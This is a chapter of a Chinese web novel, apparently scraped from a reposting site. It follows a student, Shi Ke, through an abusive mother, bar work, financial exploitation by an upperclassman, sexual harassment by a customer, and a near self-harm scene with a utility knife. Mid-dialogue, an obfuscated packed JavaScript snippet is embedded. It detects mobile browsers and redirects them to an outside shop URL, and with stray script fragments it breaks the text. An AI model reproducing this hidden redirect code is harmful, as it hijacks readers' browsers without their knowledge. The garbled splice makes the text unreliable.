30. 今晚的月色也很美
    时恪是跑着去快递站的,甚至没来得及喘口气,双臂一展,将快递员的小三轮拦在巷口。

    “草,你有病啊!”快递员探出头,龙头打了个弯被逼停在原地。

    拦车的少年置若罔闻,快步上前,眼神急迫:“中南巷58号304的快递来了吗?”

    文件袋被拆开,纸屑透着一股潮味,他小心翼翼地从里面抽出一张卡,烫金的文字写道:都城美术学院——录取通知书。

    日头毒辣得像是要地面炙裂,豆大的汗珠滴落,洇湿了袖子,夏蝉停鸣,树叶静止,时恪心头却起了一阵风。

    从翻出柜子里翻出一沓钱,分成两摞,数完后,凝滞了片刻,在手中薄的这叠钱里抽出来十几张,和厚的那沓放在一起,然后重新塞进柜子。

    “药和剂量说明都放在你的床头,记得按时吃。”

    “姨妈给的钱还剩下五万五,钱柜的钥匙也在那。”

    时恪在客厅来回检查,除了厨房里的菜刀,剩下带刃的东西都被锁了起来。

    但,其实时恪没必要这么做,毕竟时艳的情绪大概率只会因为他而失控。

    土嗨bgm播了一遍又一遍,时艳躺在沙发上抽着烟刷短视频,偶尔伸手掸掸烟灰。

    收拾好行李,时恪站在门口最后看了她一眼,“生活费我按期打给你。”

    正冲着手机乐个不停地时艳突然停了,没有任何预兆,随手抄起烟灰缸冲他砸了过来。

    她大声吼道:“你在跟我炫耀什么?!想甩掉我?你四岁的时候老娘就供你上学,砸锅卖铁送你去画画,现在不得了!能耐了!狼心狗肺的东西!”

    时恪一动不动,也不知道是玻璃硬还是肩胛骨更硬。

    他弯下腰将脚边的烟灰缸捡了起来,竟然只缺了个角,裂痕也不锋利,大概肩胛骨还是比它硬一些吧。

    “撒泡尿照照你那张脸,跟那个畜生一个死样……”时艳骂得起劲,烟也不抽了。

    他随手把烟灰缸摆在鞋柜上,在愈发不堪入耳的唾骂中头也不回的出了门。

    “我去!你是咱们专业校考第一名吧?”男生把双肩包往床上一甩,拉了个椅子坐下。

    可惜人家连个眼神都不给,男生觉得羞愤,嘀咕道:“嘁......拽个屁。”

    时恪:“附近哪里招兼职?”

    校考第一突然出声吓了他一跳,冷脸冷语,刚吐槽完的男生又有点虚了,“不,不知道,你上后头学生街看看。”

    “谢谢。”

    ......

    好像也不是很拽。

    晃到天黑,时恪驻足在一家清吧门口,旁边贴着侍应生招聘信息,薪资面议,待遇从优。

    门被人从里面推开,是一个中年男人,“新生?来参加学院联谊的?”

    时恪:“找工作。”

    男人觉得诧异,招招手让他站近些,上下打量一番,眼光渐亮,“我是老板,进来谈。”

    晚十点到凌晨三点,每月2500。

    这是时恪能找到钱最多,条件最宽松的工作了,甚至老板都没查身份证,只核对了学生信息。

    再加上奶茶店的零工,奖学金补助,差不多可以平衡掉自己和时艳的生活费。

    至于其他就先不管了。

    他今天看了课程表,上学期只上基础构成,这意味着他还有一个寒假的时间可以攒个电脑出来。

    时恪没喝过酒,也不了解酒,他花了三天时间把菜单上那些绕口的名字背了下来。

    “金酒,马丁尼,百利甜各一杯,”女生点完单,扶着下巴冲他眨眨眼,“帅哥,加个联系方式呗。”

    时恪在纸上飞速记完,收走菜单,“抱歉,不加。”

    “ 欸我还没说完……”女生的眉毛拧了起来,身边的小姐妹摇了摇头。

    这种场景时有发生,一开始他还有些无措,到后来学会了直接拒绝。

    不过,这种办法也不是次次有效。

    学校里有几个臭名远扬的玩咖是清吧常客,每次来都只挑时恪服务,然后三番两次的改单,要么就说他上错了菜,必须以酒赔罪。

    惹怒客人会被投诉罚款,老板盯得紧,他暂时没想到其他解决办法。

    所以,时恪第一次知道自己酒精过敏就是从喝下深水炸弹开始的。

    “草!养鱼呢你,给我喝!”

    第十杯?还是第十一杯?

    时恪记不清了,伏特加的度数高得吓人,胃里一阵翻江倒海,他白天摇了一整天奶茶,粒米未进,里头没东西,吐也吐不出来。

    就在准备仰头喝下的那瞬间,有人把酒杯夺了过去,泼在那傻逼的脸上,霸凌小团伙集体一愣,落汤鸡拍桌而起正要发作,被闻声赶来的老板压制下去。

    跟员工开开玩笑可以,但客人们打起来不好弄。

    收拾完乱摊子,时恪走到那人面前,问:“谢谢,你叫什么?”

    那人笑笑,“许函。”

    许函是时恪同专业的学长,如果不是他,时恪都不知道自己在学校里很出名。

    许函:“好多人都喜欢你呢,说你长的帅,天赋高,好像说……你在帮人画画?”

    “……嗯。”新开拓的副业之一。

    而后不久,许函也成了常客。

    他总是带着成堆的作业来清吧,抱怨着学生会业务太多,除了熬夜实在没办法。

    许函将灯光调亮了些,打了个哈欠,说:“你去忙吧,不用管我。”

    看着对方眼下的青黑,时恪抿了抿嘴,“等我下班,我帮你画。”

    “真的?”许函欣喜了一瞬,神色又暗了下去,“算了,太麻烦你了,我能画完。”

    时恪摇摇头,“没关系。”

    有些事情从一开始就是错的,可对于还未成年的时恪来说,这就是一种陪伴。

    “今天的作业也麻烦啦,给你带了盒酸奶。”

    “五张!就五张!”

    “最近参加了个海报比赛,可惜我没什么天赋……能不能,帮帮我?”

    中午,时恪接到一通医院打来的电话,时艳在去菜场的路上遇到个酒鬼,然后便突然情绪失控,晕了过去。

    帮忙叫救护车的是个陌生人,但没人付钱,医院只能通过时艳的手机找到了他。

    这个月工资还没下来。手头的钱全都转了过去,仍然差了五百。

    无奈之下,他找了许函。

    “借钱?”电话那头沉默了几秒,“你也知道我最近在创业,资金周转不过来……不过,既然是你开口,我借。”

    即将熄灭的火光被重新点燃,那是一种容易让人晕头转向的错觉。

    时恪除了消耗自己,没有别的办法来堵这个口子。

    “打给你打钱收到了吗?”工资刚刚下发一分钟,时恪就把钱转了过去。

    许函:“嗯,收到了。”

    对方听起来有些沮丧,时恪问,“怎么了?”

    “嗐,创业的事儿呗,拉不到赞助,项目要垮了。”许函说。

    时恪犹豫了下,说:“差多少?一千够吗?”

    “你愿意出?!”许函惊喜道,“给一千也行。”

    “嗯。”说着,钱便转了过去。

    这种事有一次,就有第二次。

    就像给许函画画一样,慢慢地,找他要钱成为了一种常态。

    “咱都认识两年了,我都不能抱一下你?”许函一身酒气的蹲在清吧门口,扯着时恪的袖子不放。

    “不能。”时恪退了一步。

    许函不耐烦地搓了好几下头发,低骂一声,走了,“ctm真装,这个月钱别忘了给啊。”

    店门口徘徊着三三两两醉酒了的学生,时恪站在夜里抬头看天,没由来得恐慌。

    像是一种下意识地反应,我将被抛弃,我将被遗忘。

    “小孩儿,点单!”

    一个三十出头的带着眼镜的男人朝他招手。

    时恪拿着菜单过去,递给他,“您先看看。”

    今晚清吧有活动,上下两层楼几乎都要坐满,时恪夹着笔,望着台上的驻唱歌手出了神,低低地跟着哼歌。

    这首歌刚好他很喜欢。

    “你这个,给我推荐推

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309221|152289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    荐啊。”眼镜男摸着下巴挑眼看他,来回打量着时恪的脸,“今年多大了?满十八了吗?”

    时恪面无表情地用笔指了指菜单上的一处地方,“推荐生命之水。”

    “哟,这么看得起我,”眼镜男笑了笑,视线依然在他身上游移,“那就这个,你陪我喝。”

    说完,伸手搂过时恪的腰,另一只手从他裆部的位置轻轻蹭了过去。

    下一秒,清吧里传出一声男人的哀嚎。

    老板急匆匆从楼上跑下来,挥开人群,眼见时恪把一个人摁在地上,“哐哐”往他脸上又砸了两拳。

    “你疯了!起开起开!”

    老板上前拽人,结果时恪一个回身,拳头擦着自己的下巴蹭了过去,他当场愣在原地。

    时恪大口呼吸着,眼底满是狠戾,目光却在不住地震颤,绷着身体一丝都不敢放松,直到人群都快散了,他才从那种状态里缓出来。

    “报警!赔钱!……必须赔钱!”眼镜男捂着被打掉牙的半张脸,瘫在卡座上不停叫唤。

    时恪冷冷瞥了一眼,眼镜男瞬间噤声,老板挤着一脸褶子冲他赔礼道歉,又安抚对方小事化了。

    “过来!给人道歉!”老板冲时恪吼了一句。

    在眼镜男高傲的注视下,时恪走了过去,少年人的身形虽然清瘦,但因为个子高挑,又身手不凡,再加上这张谁都不放眼里的冷脸,颇有些压迫感。

    眼镜男缩了缩脖子,拍了拍桌子虚张声势,“你想干嘛!”

    时恪歪了下头,毫无波澜地说道:“傻逼。”

    如果刚才现场没人拦着,他能给这男的打进ICU。

    诚然,这样“叛逆”的行为会受到处罚。

    碍于这段劳动雇佣关系本身就不怎么合法,老板也是不想报警的,但是他可以开除时恪。

    “这个月工资呢?”时恪问。

    老板:“哪还有工资?店里砸坏的东西我还没找你赔,赶紧滚!”

    许函再来的时候,见到的就是蹲在学生街街口抽烟的时恪。

    不过许函现在早就没哄他的心思,张口就问:“钱呢?”

    时恪:“没了。”

    许函听完,无言地走了。

    没有关心,没有眼神,甚至连一句话都没有。

    美工刀被推出又收回的“咯愣”声在楼道里来回响着,手机屏幕上是这学期的旷课记录,和取消奖学金资格的通告。

    而时艳,继上次在医院醒了,出院了,然后便再也没有回复他的消息。

    黑暗中只剩下刃沿闪着冷冷的银光,它紧贴着

    皮肤滑过,只要再一用力就能扎进去。

    时恪仰起脖子,视线也落在了窗外。

    就在这时,云忽地散了,半轮月亮露了出来,柔柔地笼着他。

    今晚的月色很好……

    那,明天还能看见吗?

    能吗?

    不知道过去多久,他的手慢慢放了下来,从包里抽出一个本子,用红色的笔一遍遍写着“活下去”。

    脖颈上的划痕渗出血,滴在纸面和红色墨水混成模糊不清的一团……

    有风刮过,时恪闭上眼,险些又被迷了沙子,一旁垃圾桶的灭烟处插了三四支浅蓝色的烟蒂。

    “然后你申请了退学?”黎昀转过身体替他挡住风,手掌虚虚地掩在时恪的眼侧。

    时恪“啊”地应了一声。

    等风过,再抬起头,果然见到了那轮月。

    “今晚的月色也很美。”时恪说。

    黎昀的视线仍停留在时恪的侧脸,他透过他的眼瞳,看见了月的光华,“嗯,很美。”

    风吹散了闷热,也即将带走醉意,时恪望着月亮,缓缓开口:“如果,有些东西不能一直拥有,那宁愿从开始就不要。”

    “所以,你为什么要对我这么上心?”

    他迎上黎昀的目光,缓而轻地说:“出于友情,同情,或者只是把我当成了弟弟。”

    “还是……其他?”

    时恪的眼波里含着隐隐的水色,干净,透亮,像一枚子弹正中心脏。